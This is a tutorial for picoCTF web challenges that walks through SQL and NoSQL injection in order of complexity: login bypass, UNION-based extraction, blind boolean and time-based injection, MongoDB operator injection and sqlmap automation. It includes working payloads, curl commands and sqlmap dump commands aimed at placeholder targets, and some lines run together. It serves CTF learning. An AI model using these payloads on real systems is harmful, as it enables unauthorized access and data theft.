Introduction
SQL injection (SQLi) is one of the most consistently tested vulnerability categories in CTF web exploitation challenges. Despite being a decades-old attack, it keeps appearing because so many real applications still build SQL queries by concatenating raw user input directly into query strings.
In picoCTF, SQL injection challenges range from single-field authentication bypasses all the way to multi-step blind extraction and automated scanning with sqlmap. This guide walks through each technique in order of complexity, with direct links to the picoCTF writeups where each one appears.
' first. A database error message or a broken page confirms the input is unsanitized and you can proceed with injection payloads.When to use: Login forms with a username/password field and no parameterization
When to use: Output is reflected in the page and you can infer column count
When to use: No output is reflected - only true/false behavior or timing differences
When to use: Any SQLi surface - automates detection and extraction end-to-end
Authentication bypass
The classic entry point. The backend constructs a query like:
SELECT * FROM users WHERE username='INPUT' AND password='PASS'
Injecting ' OR 1=1-- - into the username field transforms this into a query that always returns true, bypassing the password check entirely:
SELECT * FROM users WHERE username='' OR 1=1-- -' AND password='anything'^^^^^^^^^always true; rest is a comment
The -- - sequence starts a SQL comment, so everything after it (including the password check) is ignored. Common comment styles vary by database:
-- - MySQL, SQLite, PostgreSQL# MySQL only/* Most databases (block comment)
Common payloads to try when you suspect a login bypass:
' OR 1=1-- -' OR '1'='1admin'-- -' OR 1=1#
picoCTF challenges using this technique
ROT13-encoded input (Irish-Name-Repo 2)
Some challenges add a twist: the backend ROT13-encodes your input before inserting it into the query. You need to ROT13-encode your payload first so the decoded version contains the actual injection syntax.
# Payload: ' OR 1=1-- -# ROT13: ' BE 1=1-- -python3 -c "import codecs; print(codecs.encode(\"' OR 1=1-- -\", 'rot13'))"
See the Irish-Name-Repo 2 writeup for the exact flow, and Irish-Name-Repo 3 where the encoding layer is buried deeper.
UNION-based extraction
Once you can inject, the next goal is extracting data from the database. UNION-based injection appends a second SELECT statement whose output is returned alongside the legitimate query result.
The catch: both SELECT statements must return the same number of columns. To find the column count, increment the ORDER BY value until the query errors:
' ORDER BY 1-- - # works' ORDER BY 2-- - # works' ORDER BY 3-- - # error -> 2 columns
With the column count known, build the UNION payload. Use NULL for columns you do not care about, and place your extraction target in a column that renders as text:
# Extract the database name (2-column table)' UNION SELECT database(), NULL-- -# List all tables in the current database' UNION SELECT table_name, NULL FROM information_schema.tablesWHERE table_schema=database()-- -# Dump a specific column' UNION SELECT flag, NULL FROM flags-- -
picoCTF challenges using this technique
More SQLi (2023) - three-stage extraction
The More SQLi challenge walks through a full extraction sequence: discover the column count, enumerate table names from information_schema, then pull the flag column from the target table. It is the best picoCTF example of chained UNION injection.
Blind SQLi
Blind SQL injection applies when query results are not echoed back to the page. Instead, you infer information from binary signals: whether a record is found (boolean-based) or how long the response takes (time-based).
Boolean-based
Ask the database yes/no questions by making the injected condition true or false and observing whether the page renders differently:
# Is the first character of the flag 'p'?' AND SUBSTRING(flag,1,1)='p'-- -# Is the flag longer than 30 characters?' AND LENGTH(flag)>30-- -
Time-based
When there is no visible difference in the response body, cause a deliberate delay if your condition is true:
# MySQL: sleep 3 seconds if condition is true' AND IF(SUBSTRING(flag,1,1)='p', SLEEP(3), 0)-- -# SQLite: heavy query as delay (no SLEEP)' AND CASE WHEN SUBSTR(flag,1,1)='p' THEN LIKE('X%',UPPER(HEX(RANDOMBLOB(100000000)))) END-- -
Automating character-by-character extraction by hand is tedious - this is where sqlmap (next section) becomes essential.
NoSQL injection
Not every web challenge uses a relational database. MongoDB and similar document stores are vulnerable to operator injection: instead of injecting SQL syntax, you inject JSON operators that change the query semantics.
A Node.js + MongoDB login that builds its query from POST body parameters is vulnerable when JSON is parsed directly:
# Bypass a MongoDB login with the $ne (not-equal) operatorcurl -X POST http://target/login \-H "Content-Type: application/json" \-d '{"username":{"$ne":null},"password":{"$ne":null}}'# URL-encoded form variantcurl -X POST http://target/login \-d 'username[$ne]=foo&password[$ne]=bar'
Common operators to try:
{"$ne": null} # not equal to null -> matches everything{"$gt": ""} # greater than empty string -> matches everything{"$regex": ".*"} # matches any string
picoCTF challenge using this technique
sqlmap automation
sqlmap is an open-source tool that automates the detection and exploitation of SQL injection vulnerabilities. Rather than crafting payloads by hand, you point it at a URL or request file and it handles enumeration, extraction, and reporting automatically.
Install
sudo apt install sqlmap
Basic scan
# Test a URL parameter for SQLisqlmap -u 'http://target/search?q=test'# Test POST datasqlmap -u 'http://target/login' --data='username=test&password=test'# Use a saved Burp request filesqlmap -r request.txt
Extraction flags
--dbs # list all databases--tables # list tables in current database--dump # dump all table contents-D mydb -T users --dump # dump specific table--level=5 --risk=3 # more aggressive testing
--batch to accept all defaults non-interactively, and --threads=4 to speed up blind extraction. In CTF environments the database is usually small so a full --dump finishes quickly.picoCTF challenge using this technique
Quick reference
| Scenario | Payload / tool |
|---|---|
| Login bypass (MySQL / SQLite) | ' OR 1=1-- - |
| Login bypass (MySQL only) | ' OR 1=1# |
| Confirm injection with error | ' |
| Find column count | ' ORDER BY N-- - |
| Dump database name | ' UNION SELECT database()-- - |
| List tables | information_schema.tables |
| MongoDB operator bypass | {"$ne": null} |
| Automate everything | sqlmap -u URL --dump --batch |
All picoCTF SQL injection writeups